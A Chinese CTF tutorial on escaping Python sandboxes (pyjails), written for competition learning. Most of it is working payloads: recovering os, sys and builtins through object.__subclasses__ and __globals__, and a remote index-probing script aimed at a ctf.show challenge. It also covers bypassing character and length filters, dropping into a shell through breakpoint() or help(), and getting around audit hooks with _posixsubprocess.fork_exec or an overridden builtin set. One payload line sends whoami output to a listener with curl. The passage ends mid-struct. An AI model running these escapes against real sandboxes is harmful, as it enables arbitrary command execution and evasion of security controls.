    凡是其 __builtins__ 指向该模块(或其 __dict__)的命名空间,之后对 eval 的内建查找均失败;已保存的函数引用(例如 saved_eval = eval)不受影响。是全局性修改

  • exec 中提供裁剪后的内建映射仅对该次执行的命名空间更换内建查找后端;并未修改进程中的 builtins 模块对象。这是局部性隔离;不影响解释器全局内建模块的内容。

    1
    exec(code, {"__builtins__": {}})             # 或自定义受限字典

    该代码块内直接写 eval(...) 会因找不到内建而失败;但若代码能获得真实 builtins 模块引用(如 sys.modules['builtins']print.__self__ 等),则仍可调用其中的 eval——前提是它没有被上一种方式全局删除

Python 是高度自反(Reflective)和动态的语言。即使你删掉了 __builtins__,程序运行过程中创建的对象、类、模块等都依然保存在内存中并可以被访问。我们可以通过类型系统和继承结构,去“翻”到这些对象。

获取 object 类

Python 中所有对象的基类是 object,所以我们从任意对象出发,拿到 object

1
2
3
4
5
6
>>> ''.__class__.__mro__[-1]
<class 'object'>
>>> ''.__class__.__bases__[0]
<class 'object'>
>>> ''.__class__.__base__
<class 'object'>

获取 object 的可用子类

我们可以通过类的 __subclasses__ 方法获取 object 的所有子类。

1
2
>>> object.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, ...]

这就是内存中现存的类对象。我们就可以在这些子类中寻找一个有没有重载过 __init__ 的类,以便通过 __init__.__globals__ 找到 osbuiltins 模块。

1
2
3
4
l = len(''.__class__.__mro__[-1].__subclasses__())
for i in range(l):
if 'wrapper' not in str(''.__class__.__mro__[-1].__subclasses__()[i].__init__):
print (i, ''.__class__.__mro__[-1].__subclasses__()[i])

对于远程环境,我们可以通过循环发包请求来探测可用类在 object.__subclasses__() 中的下标:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import urllib3
from urllib.parse import quote

# 禁用 SSL 验证警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://14fba753-0bb4-47e2-bc11-9341f5e11d10.challenge.ctf.show"


def probe_index(index):
payload = quote(f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__}}}}")
url = f"{BASE_URL}/?name={payload}"
try:
resp = requests.get(url, timeout=3, verify=False)
print(resp.text)
if "wrapper" not in resp.text:
print(f"[+] Found subclass at index {index}")
print(f" --> {resp.text.strip()[:200]}")
except Exception as e:
print(f"[-] Error on index {index}: {e}")


def main():
for i in range(300):
probe_index(i)


if __name__ == "__main__":
main()

globals 中的可用模块

Python 函数对象__globals__ 属性,保存了函数定义所在模块的全局命名空间。内置模块(builtins)或导入的模块(如 ossys)常常在里面。

builtins 模块

例如 warnings.catch_warnings 模块的全局命名空间中有 __builtins__ 模块,也就是说我们已经找回 __builtins__ 模块,可以:

  • 使用该模块的 __import__ 函数导入 os 模块来执行命令;
  • 或者通过该模块的 eval 函数直接执行 python 脚本。
1
2
3
4
5
6
7
8
>>> ''.__class__.__bases__[0].__subclasses__()[144]
<class 'warnings.catch_warnings'>
>>> ''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['__import__']('os').system('id')
uid=0(root) gid=0(root) groups=0(root)
0
>>> ''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['eval']('__import__("os").system("id")')
uid=0(root) gid=0(root) groups=0(root)
0

注意

这里通过 __init__.__globals__ 找到的并不是真正的 __builtins__ 模块,而是字典形式的 builtins 命名空间快照,也就是 __builtins__.__dict__

1
2
3
4
>>> type(''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__'])
<class 'dict'>
>>> type(__builtins__)
<class 'module'>

这就是为什么通过 __init__.__globals__ 找到的“__builtins__ 模块”可以直接通过字典的形式访问模块中的函数,而真正的 __builtins__ 模块需要通过 __dict__ 属性或者直接属性访问。

1
2
3
4
5
6
7
8
9
10
11
>>> ''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
>>>
>>> __builtins__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not subscriptable
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> __builtins__.eval
<built-in function eval>

不过两者本质上都是 builtins 模块,因为 Python 的模块是单例模式加载的,只有一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys, builtins

# 任意拿到两处 __builtins__:b1 可能是模块,b2 可能是字典
b1 = (lambda: None).__globals__['__builtins__']
b2 = ().__class__.__base__.__subclasses__()[144].__init__.__globals__['__builtins__']

# 统一拿“字典视图”
d1 = b1.__dict__ if hasattr(b1, '__dict__') else b1
d2 = b2.__dict__ if hasattr(b2, '__dict__') else b2

print(d1 is builtins.__dict__) # True → d1 就是内建模块的命名空间
print(d2 is builtins.__dict__) # True → d2 也是同一份命名空间
print(d1 is d2) # True → 同一份 dict(不是拷

另外在沙箱内外 __builtins__ 的形态也不同:

  • 模块顶层(你“外面”的普通脚本)
    __builtins__ 是一个模块对象builtins)。模块对象不能下标,只能点取属性:

    1
    2
    3
    type(__builtins__) is module   # True
    __builtins__.__loader__ # OK
    __builtins__["__loader__"] # TypeError: module is not subscriptable
  • exec(code, globals, locals) 等“沙箱”执行(你“里面”的环境)
    如果 globals没有 key '__builtins__',Python 会自动塞入 builtins.__dict__(一个 dict)

    1
    2
    3
    exec("print(type(__builtins__))", {})  # <class 'dict'>
    # 这是字典 → 可以下标访问:
    __builtins__["__loader__"] # OK(等价于 builtins.__dict__['__loader__']

这就是为什么在沙箱里 __builtins__["__loader__"] 可用,而在普通脚本里同样写法会报 TypeError:前者是 dict,后者是模块。

os 模块

os._wrap_close 类本身位于系统模块中,因此可以直接通过该类所在模块的全局命名空间直接找到 system 函数执行命令。

1
2
3
4
5
>>> ''.__class__.__bases__[0].__subclasses__()[137]
<class 'os._wrap_close'>
>>> ''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['system']('id')
uid=0(root) gid=0(root) groups=0(root)
0

sys 模块

sys.modules 是 Python 运行时的一个 全局字典,用来缓存所有已经导入的模块对象。它是 Python import 机制的核心缓存,所有模块导入都会经过它。

sys.modules 的作用是缓存已加载的模块。当你第一次 import 一个模块时,Python 会加载并执行该模块的代码,然后将模块对象保存到 sys.modules 中。以后再导入同名模块时,Python 会直接从 sys.modules 里取出已有的模块对象,而不会再次加载和执行模块代码。

sys.modules 是字典类型,其中:

  • 键(key):模块名(字符串,比如 'os''sys'
  • 值(value):模块对象本身

因此如果我们能够从全局空间中找到 sys 模块也就找到了 modules 全局字典,进而找到所有的模块。这里还是以 warnings.catch_warnings 为例:

1
2
3
4
5
>>> ''.__class__.__bases__[0].__subclasses__()[144]
<class 'warnings.catch_warnings'>
>>> ''.__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['sys'].modules['os'].system('id')
uid=0(root) gid=0(root) groups=0(root)
0

常用 payload

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()

文件读取

操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。

1
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

绕过多行限制

绕过多行限制的利用手法通常在限制了单行代码的情况下使用。例如 eval,中间如果存在 ; 或者换行会报错。

1
2
3
4
5
>>> eval("__import__('os');print(1)")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1
__import__('os');print(1)

exec

exec 可以支持换行符与 ;

1
2
>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1

compile

compilesingle 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.

1
eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

海象表达式

海象表达式(:=)是 Python 3.8 引入的一种新的语法特性,它能在一个表达式里先把右边算好的值赋给一个变量同时这个表达式本身的值也就是那个值,也就是在逻辑运算中可以使用赋值操作。例如:

1
2
while (chunk := f.read(1024)) != b'':
process(chunk)

因为海象表达式需要先把右边算好值,而列表需要从左到右依次处理,因此我们可以借助海象表达式和过列表来执行多行代码:

1
eval('[a:=__import__("os"),b:=a.system("id")]')

也就是说:

  • 海象表达式保证语句会执行。
  • 列表保证语句执行顺序。

绕过长度限制

BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

这行代码的意思是:

  1. 用户输入一段字符串(比如 help())。
  2. .lower() → 转成小写(help()help())。
  3. re.sub(r'[a-z0-9]', '', ...) → 删除所有小写字母和数字(help()())。
  4. 结果字符串被 [:130] 截断到 130 个字符以内。
  5. eval() 执行这个字符串。

替换函数名称

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

1
print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).

1
2
3
4
5
6
7
8
9
# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload

1
exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")

但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符,例如 chr(4434)

当然,可以直接使用 input 函数来绕过长度限制。

打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

1
𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())

这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

1
__import__('os').system('whoami')

注意

no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

Python 2 的 input() = Python 3 的 eval(input()),在 Py2 里 input() 自带执行功能,raw_input() 才是安全的读取字符串方法。

下面是一些其他的打开输入流的方式:

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

1
2
3
4
5
>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>

sys.stdin.readline()

1
2
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')

sys.stdin.readlines()

1
2
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

breakpoint 函数

breakpoint 是从 Python 3.7 开始引入的一个内置函数。默认行为:调用 sys.breakpointhook() → 启动 pdb.set_trace(),也就是进入 Pdb(Python 调试器)。

在 Pdb 提示符 (Pdb) 里,你可以查看变量、执行表达式,甚至运行任意 Python 语句。在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码。

1
2
3
4
5
6
7
8
9
>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py exp2.py exp.py flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py exp2.py exp.py flag.txt

help 函数

当我们输入 help 时,help 函数会打开帮助

1
𝘩𝘦𝘭𝘱()

然后输入 os,此时会进入 os 的帮助文档。

1
help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

1
2
3
4
help> os
$ ls
a-z0-9.py exp2.py exp.py flag.txt
$

绕过 audit hook

绕过基于 sys.addaudithook 的 audit hook

Python中的审计钩子(Audit Hook)是从 Python 3.8 版本引入的一项安全功能,旨在让 Python 运行时的操作对外部监控工具可见。该功能允许开发者通过注册钩子函数来监控和控制特定的事件,尤其是与安全相关的操作。这种机制为系统管理员、测试人员和安全专家提供了一个有效的手段来检测、记录或阻止特定操作。

审计钩子通过 sys.addaudithook() 函数添加。每当发生特定事件时,Python会调用这些钩子函数,并将事件名称和相关参数传递给它们。钩子函数可以选择记录这些事件,或者在检测到不允许的操作时抛出异常,从而阻止操作继续进行。

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。

Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • write:发生在写入文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • socket:发生在创建或使用网络套接字时。
  • os.systemos.popen等:发生在执行操作系统命令时。
  • subprocess.Popensubprocess.run等:发生在启动子进程时。

所有的事件列表可见:

我们可以通过注册打印日志的回调函数来测试我们的代码触发了哪些 hook。

1
2
3
4
5
6
7
8
9
10
import sys

# 审计钩子回调函数
def my_audit_hook(my_event, args):
# 打印调试信息
print(f'[+] Triggered event: {my_event}')
print(f' Arguments: {args}')

# 注册审计钩子
sys.addaudithook(my_audit_hook)

__loader__.load_module

__loader__.load_module 底层实现与 import 不同,因此某些情况下可以绕过 audithook 。

__loader__“每个模块自己的加载器”,哪个模块用什么加载器加载,就把那个加载器对象挂在这个模块的 __loader__ 上:

模块类型 典型 __loader__
内建/冻结模块(systime、部分 gc BuiltinImporter / FrozenImporter(类 or 单例)
纯 Python 模块(ospathlib SourceFileLoader(实例)
C 扩展模块(math_ssl ExtensionFileLoader(实例)
__main__(你的脚本) 通常是 SourceFileLoader
builtins 模块本身 BuiltinImporter

__loader__load_module(name) 是老接口(PEP 302 时代,Py3.4 前),现在只在少数加载器(内建/冻结)还留了兼容层;多数现代加载器不再提供它。

在一些题目/环境里,审计钩子(audit hook)只拦“常规导入流程”的事件(比如 import / __import__ / importlib.import_module / find_spec / exec_module)。
而你直接调用某些 Loader 的旧接口 load_module(常见是 BuiltinImporter / FrozenImporter 的兼容层)并不一定会触发这些“导入类”审计事件,所以有机会绕过仅针对导入路径的过滤。

__builtins____loader__ 通常是 **BuiltinImporter / FrozenImporter**。我们也可以通过别的方式进行获取:

1
2
3
4
5
6
7
8
>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>

不过 BuiltinImporter 只会加载内建/冻结模块,例如 sysgc 等,但是像 os标准库的纯 Python 模块不在它的能力范围内。也就是说若 sys.modules 没缓存,则通过 __builtins__.__loader__.load_module 加载 os 模块会报错:

1
2
3
4
5
6
7
8
9
10
11
12
>>> __builtins__.__loader__.load_module("os")
<module 'os' (<class '_frozen_importlib.BuiltinImporter'>)>
>>> del __import__('sys').modules['os']
>>> __builtins__.__loader__.load_module("os")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<frozen importlib._bootstrap>", line 290, in _load_module_shim
File "<frozen importlib._bootstrap>", line 719, in _load
File "<frozen importlib._bootstrap>", line 674, in _load_unlocked
File "<frozen importlib._bootstrap>", line 571, in module_from_spec
File "<frozen importlib._bootstrap>", line 774, in create_module
ImportError: 'os' is not a built-in module

sys.builtin_module_names 中包含了所有 内建模块(built-in modules) 的名字。我们可以通过这个字段查询模块是否可以通过 __builtins__.__loader__.load_module 加载。

1
2
>>> __import__('sys').builtin_module_names
('_abc', '_ast', '_bisect', '_blake2', '_codecs', '_collections', '_csv', '_datetime', '_elementtree', '_functools', '_heapq', '_imp', '_io', '_locale', '_md5', '_operator', '_pickle', '_posixsubprocess', '_random', '_sha1', '_sha256', '_sha3', '_sha512', '_signal', '_socket', '_sre', '_stat', '_statistics', '_string', '_struct', '_symtable', '_thread', '_tracemalloc', '_warnings', '_weakref', 'array', 'atexit', 'binascii', 'builtins', 'cmath', 'errno', 'faulthandler', 'fcntl', 'gc', 'grp', 'itertools', 'marshal', 'math', 'posix', 'pwd', 'pyexpat', 'select', 'spwd', 'sys', 'syslog', 'time', 'unicodedata', 'xxsubtype', 'zlib')

_posixsubprocess 执行命令

_posixsubprocessCPython 内部的一个 C 扩展模块,专门用来在类 Unix 系统(Linux / macOS)下 高效地创建子进程。它不是给普通用户直接用的,而是被 subprocess 模块的内部实现调用的。

该模块的核心函数 fork_exec 提供了在 Unix 系统下快速、低层地创建子进程并执行指定程序的能力。该模块并未在 Python 官方标准库文档中列出,属于实现细节,不同版本的 Python 中参数和行为可能有所差异。

例如 Python 3.11 中具体的函数声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...
  • 命令与可执行体

    • __process_args: 传给子进程的 argv(通常与 __executable_list 一致)。可为 None(由实现推断)。元素可为 str/bytes/PathLike

    • __executable_list: 必须是 bytes 序列,对应 execve(path, argv, env)argv;第一个元素是可执行文件路径(如 b"/bin/echo")。

  • FD 关闭/保留与 CWD/ENV

    • __close_fds: True 时,在子进程里关闭除标准 FD(0/1/2)和必要保留 FD 外的全部 FD(从 3 起)。

    • __fds_to_keep: 需要在子进程额外保留的 FD 的升序元组(通常与管道 FD 配合)。

    • __cwd_obj: 子进程的工作目录(字符串路径)。可允许为 None(表示不改变,视版本实现而定)。

    • __env_list: 子进程环境,**bytesKEY=VALUE 序列**;传 None 表示继承父进程环境。

  • 与父进程的管道(标准流)

    约定命名:p2c=parent→childc2p=child→parent。每对管道通常传两端,让函数在父/子两侧都能正确关闭或重定向。

    • __p2cread: 子进程读取端(将会 dup 到子进程 stdin),否则传 -1

    • __p2cwrite: 父进程写入端,否则 -1

    • __c2pred: 父进程读取端(从子进程 stdout 读),否则 -1

    • __c2pwrite: 子进程写入端(将会 dup 到子进程 stdout),否则 -1

    • __errread: 父进程读取端(来自子进程 stderr),否则 -1

    • __errwrite: 子进程写入端(将会 dup 到子进程 stderr),否则 -1

      最常见:只捕获 stdout → 设 c2p_r/c2p_wstdin/stderr 不用时传 -1

  • 错误汇报管道(子进程 exec 前出错时使用)

    • __errpipe_read, __errpipe_write: 必传一对有效 FD 来承接子进程在 exec 之前的错误(序列化后写入)。如果传 -1,子进程出错将无法向父进程报告,父进程也无从得知失败原因(subprocess 内部总是创建这一对)。
  • 进程属性/会话/信号/身份

    • __restore_signals: 1/0,是否在子进程里恢复默认信号处理(通常 1)。

    • __call_setsid: 1/0,是否调用 setsid() 让子进程成为新会话首进程(daemon/独立组常用)。

    • __pgid_to_set: 若非零,在子进程里调用 setpgid(0, __pgid_to_set) 设置进程组 ID。

    • __gid_object: 设定有效 GID(整数或实现 __index__ 的对象),或 None 不改。

    • __groups_list: 附加的组 ID 列表,或 None

    • __uid_object: 设定有效 UID,或 None

    • __child_umask: 设置子进程 umask,通常 0 表示不改或按实现约定;实际含义依版本。

    • __preexec_fn: 在子进程 关闭 FD 并 exec 前调用的回调。⚠ 多线程下不安全(可能死锁),能不用就不用。

    • __allow_vfork: 允许底层选择 vfork 优化(实现相关,非所有平台可用)。

  • 返回值

    • 返回 子进程 PID。父进程随后请 os.waitpid(pid, 0) 等待并回收

下面是一个最小化示例:

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:

1
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

可以看到全程触发了 builtins.input/result, compile, exec 三个 hook,这些 hook 的触发都是因为 inputcompileexec 函数而触发的,__loader__.load_module_posixsubprocess 都没有触发。

1
2
3
[+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',)
[+] compile, (b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)', '<string>')
[+] exec, (<code object <module> at 0x7fbecc924670, file "<string>", line 1>,)

_posixsubprocess 执行命令时本身没有回显,是可以将命令的结果存放在 __c2pwrite 参数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import _posixsubprocess
import os
import time

std_pipe = os.pipe()
err_pipe = os.pipe()

_posixsubprocess.fork_exec(
(b"/bin/bash",b"-c",b"cat /flag*"),
[b"/bin/bash"],
True,
(),
None,
None,
-1,
-1,
-1,
std_pipe[1], #c2pwrite
-1,
-1,
*(err_pipe),
False,
False,
False,
None,
None,
None,
-1,
None,
False,
)
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
print(content)

篡改内置函数

很多题里白名单是在钩子里临时构造的:

1
2
3
4
def my_audit_hook(event, args):
WHITED_EVENTS = set({'builtins.input','builtins.input/result','exec','compile'})
if event not in WHITED_EVENTS:
raise RuntimeError(...)

如果你能在下一次钩子执行前把“全局可见”的 set 换掉,那么 WHITED_EVENTS = set({...}) 这行就会调用你的替身,从而得到你想要的“白名单”(比如包含 'os.system')。

  • 在很多 REPL/题目环境里,执行上下文的 __builtins__ 是一个 dictbuiltins.__dict__ 的拷贝或代理),所以你可以:

    1
    __builtins__['set'] = lambda x: ['builtins.input','builtins.input/result','exec','compile','os.system']
  • 如果 __builtins__模块对象,就用:

    1
    __builtins__.set = lambda x: [...]

注意

返回 list 也能让 if event not in WHITED_EVENTS 正常工作(in 可用于序列),不一定非得返回真正的 set。但如果钩子里接下来对白名单做集合操作(如 .add()|),你就得返回 set([...]) 以免崩溃。

另外这里要区分将 WHITED_EVENTS 写成语法字面量的情况:

1
WHITED_EVENTS = {'builtins.input','builtins.input/result','exec','compile'}

set({...}) 是“调用名字为 set 的可调用对象”,而 {...}语法字面量,根本不会调用 set。所以当你把 __builtins__.set 修改成一个 lambda 时:

  • 写成 WHITED_EVENTS = set({...})
    这一行会先做名称解析,把名字 set 按“局部 → 全局 → 内建(__builtins__)”的顺序去找。
    由于你把 __builtins__.set 改成了 lambda,最终调用到的就是**你改过的 set**,返回你指定的列表/集合,自然就“造白”成功。
  • 写成 WHITED_EVENTS = {...}
    这是集合字面量,解释器用字节码 BUILD_SET 直接构造一个集合,完全不经过 set() 这个可调用对象。你修改 set 不起作用,因为根本没调用它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys

def my_audit_hook(event, args):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if event not in WHITED_EVENTS:
print(f"[HOOK] Operation not permitted: {event}")
exit(-1)
print(f"[HOOK] Allowed: {event}")


sys.addaudithook(my_audit_hook)

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result', 'exec', 'compile', 'os.system']

# 现在触发 os.system 事件
__import__('os').system("echo PWNED") # ✅ 被放行

内省机制查询模块

通过内省机制查询模块可以不走 import 路径也能拿到模块对象,从而绕开只拦 import 的 audit hook。这是因为解释器启动后,很多模块已经加载(比如 sysos_sitebuiltins 等),并且被各种对象引用着(函数的 __globals__、模块的属性、类方法闭包等)。只要你能找到任何一个对象,它的 __globals__恰好包含你要的模块引用,就能直接取出来,完全不触发 import 事件

1
2
3
4
5
6
7
8
# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

然而由于 Python 加载的模块是单例模式,因此如果把 ossys.modules 缓存里删掉了。

1
del __import__('sys').modules['os']

而内省机制只是寻找已加载的模块,不会主动加载模块,因此会出现找不到模块的情况。

绕过基于 CPython 的 audit hook

audit hook 不仅可以在 python 层面进行定义,还可以在 CPython 中进行编写。

  • C 级(进程级):用 PySys_AddAuditHook 注册,挂在 _PyRuntimeState 里(全局运行时)。影响所有解释器
  • Python 级(解释器级):用 sys.addaudithook 注册,挂在 PyInterpreterState 里(当前解释器)。只影响当前解释器

事件触发顺序一般是:先 C 级再 Python 级

如果使用 CPython 来定义 audit hook,至少在 python 层面就没法覆盖函数。

项目 Nambers/python-audit_hook_head_finder: PWNable pyjail 给出了几种通过修改 python 内存来篡改该 audit hook 的方式。

利用 ctypes 覆盖 audit hook

audit hook 结构

_PyRuntimeState

_PyRuntimeState 结构体中存储了 audit hook 列表 audit_hooks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct pyruntimestate {
// [...]
struct pyinterpreters {
PyThread_type_lock mutex;
PyInterpreterState *head;
PyInterpreterState *main;
int64_t next_id;
} interpreters;


struct {
PyMutex mutex;
_Py_AuditHookEntry *head;
} audit_hooks;
// [...]
PyInterpreterState _main_interpreter;

} _PyRuntimeState;

_Py_AuditHookEntry 是一个 audit hook 链表。

1
2
3
4
5
typedef struct _Py_AuditHookEntry {
